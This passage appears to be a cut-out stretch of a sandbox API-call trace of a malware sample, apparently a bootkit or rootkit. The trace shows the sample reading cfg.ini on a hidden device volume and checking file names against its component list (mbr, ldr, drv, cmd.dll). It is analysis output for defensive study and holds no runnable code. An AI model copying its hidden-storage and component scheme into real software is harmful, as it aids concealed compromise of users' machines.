(Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.876] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.876] KeEnterCriticalRegion () [0119.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.876] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.876] KeLeaveCriticalRegion () [0119.876] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.876] KeEnterCriticalRegion () [0119.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.876] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.876] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.876] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.876] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.876] IdePortDispatch () returned 0x103 [0119.876] KeWaitForMutexObject () returned 0x0 [0119.876] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.876] KeLeaveCriticalRegion () [0119.876] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.876] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.877] KeEnterCriticalRegion () [0119.877] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.877] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b06000 [0119.877] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.877] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.877] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.877] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.877] IdePortDispatch () returned 0x103 [0119.877] KeWaitForMutexObject () returned 0x0 [0119.877] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.877] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.877] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.877] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.877] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.877] IdePortDispatch () returned 0x103 [0119.877] KeWaitForMutexObject () returned 0x0 [0119.877] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.877] KeLeaveCriticalRegion () [0119.877] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.878] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.878] KeEnterCriticalRegion () [0119.878] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.878] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.878] KeLeaveCriticalRegion () [0119.878] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.878] KeEnterCriticalRegion () [0119.878] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.878] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.878] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcc4f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.878] KeLeaveCriticalRegion () [0119.878] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.878] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.878] KeEnterCriticalRegion () [0119.878] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.878] ExFreePoolWithTag (P=0xfffffa8003bcc720, Tag=0x0) [0119.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.878] KeLeaveCriticalRegion () [0119.878] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.878] ReleaseMutex (hMutex=0xf0) returned 1 [0119.878] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.878] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.879] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.879] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.879] KeEnterCriticalRegion () [0119.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.879] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.879] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.879] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.879] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.879] IdePortDispatch () returned 0x103 [0119.879] KeWaitForMutexObject () returned 0x0 [0119.879] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.879] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.879] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.879] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.879] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.879] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.879] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.879] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.879] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.879] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.879] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.879] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.879] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.879] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.879] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.879] KeLeaveCriticalRegion () [0119.879] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.879] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.879] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.879] KeEnterCriticalRegion () [0119.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.879] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.879] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.879] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.880] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.880] IdePortDispatch () returned 0x103 [0119.880] KeWaitForMutexObject () returned 0x0 [0119.880] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.880] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.880] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.880] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.880] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.880] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.880] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.880] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.880] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.880] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.880] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.880] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.880] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.880] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.880] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.880] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.880] KeLeaveCriticalRegion () [0119.880] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.880] ReleaseMutex (hMutex=0x100) returned 1 [0119.880] Sleep (dwMilliseconds=0x2bf20) [0119.887] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6aa73eb0, dwHighDateTime=0x1d24fa4)) [0119.887] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.887] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.887] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.887] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.887] KeEnterCriticalRegion () [0119.887] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.887] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.887] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.887] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.887] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.887] IdePortDispatch () returned 0x103 [0119.887] KeWaitForMutexObject () returned 0x0 [0119.888] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.888] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.888] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.888] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.888] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.888] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcaca0 [0119.888] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.888] KeLeaveCriticalRegion () [0119.888] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.888] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.888] KeEnterCriticalRegion () [0119.888] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.888] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.888] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.888] KeLeaveCriticalRegion () [0119.888] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.888] KeEnterCriticalRegion () [0119.888] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.888] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.888] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.888] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.888] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.888] IdePortDispatch () returned 0x103 [0119.888] KeWaitForMutexObject () returned 0x0 [0119.888] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.888] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.888] KeLeaveCriticalRegion () [0119.888] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.888] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.888] KeEnterCriticalRegion () [0119.888] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.888] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b09000 [0119.888] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.888] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.888] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.888] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.889] IdePortDispatch () returned 0x103 [0119.889] KeWaitForMutexObject () returned 0x0 [0119.889] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.889] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.889] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.889] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.889] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.889] IdePortDispatch () returned 0x103 [0119.889] KeWaitForMutexObject () returned 0x0 [0119.889] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.889] KeLeaveCriticalRegion () [0119.889] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.889] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.889] KeEnterCriticalRegion () [0119.889] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.890] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.890] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.890] KeLeaveCriticalRegion () [0119.890] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.890] KeEnterCriticalRegion () [0119.890] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.890] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.890] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdab30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.890] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.890] KeLeaveCriticalRegion () [0119.890] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.890] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.890] KeEnterCriticalRegion () [0119.890] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.890] ExFreePoolWithTag (P=0xfffffa8003bcaca0, Tag=0x0) [0119.890] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.890] KeLeaveCriticalRegion () [0119.890] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.890] ReleaseMutex (hMutex=0xf0) returned 1 [0119.890] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.890] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.890] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.890] KeEnterCriticalRegion () [0119.890] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.890] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.890] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.890] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.890] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.890] IdePortDispatch () returned 0x103 [0119.890] KeWaitForMutexObject () returned 0x0 [0119.890] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.890] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.890] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.890] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.890] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.890] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bca6b0 [0119.890] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.890] KeLeaveCriticalRegion () [0119.891] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.891] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.891] KeEnterCriticalRegion () [0119.891] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.891] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.891] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.891] KeLeaveCriticalRegion () [0119.891] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.891] KeEnterCriticalRegion () [0119.891] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.891] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.891] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.891] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.891] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.891] IdePortDispatch () returned 0x103 [0119.891] KeWaitForMutexObject () returned 0x0 [0119.891] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.891] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.891] KeLeaveCriticalRegion () [0119.891] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.891] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.891] KeEnterCriticalRegion () [0119.891] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.891] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b0a000 [0119.891] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.891] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.891] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.891] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.891] IdePortDispatch () returned 0x103 [0119.893] KeWaitForMutexObject () returned 0x0 [0119.893] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.893] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.893] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.893] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.893] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.893] IdePortDispatch () returned 0x103 [0119.893] KeWaitForMutexObject () returned 0x0 [0119.893] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.893] KeLeaveCriticalRegion () [0119.893] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.894] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.894] KeEnterCriticalRegion () [0119.894] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.894] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.894] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.894] KeLeaveCriticalRegion () [0119.894] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.894] KeEnterCriticalRegion () [0119.894] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 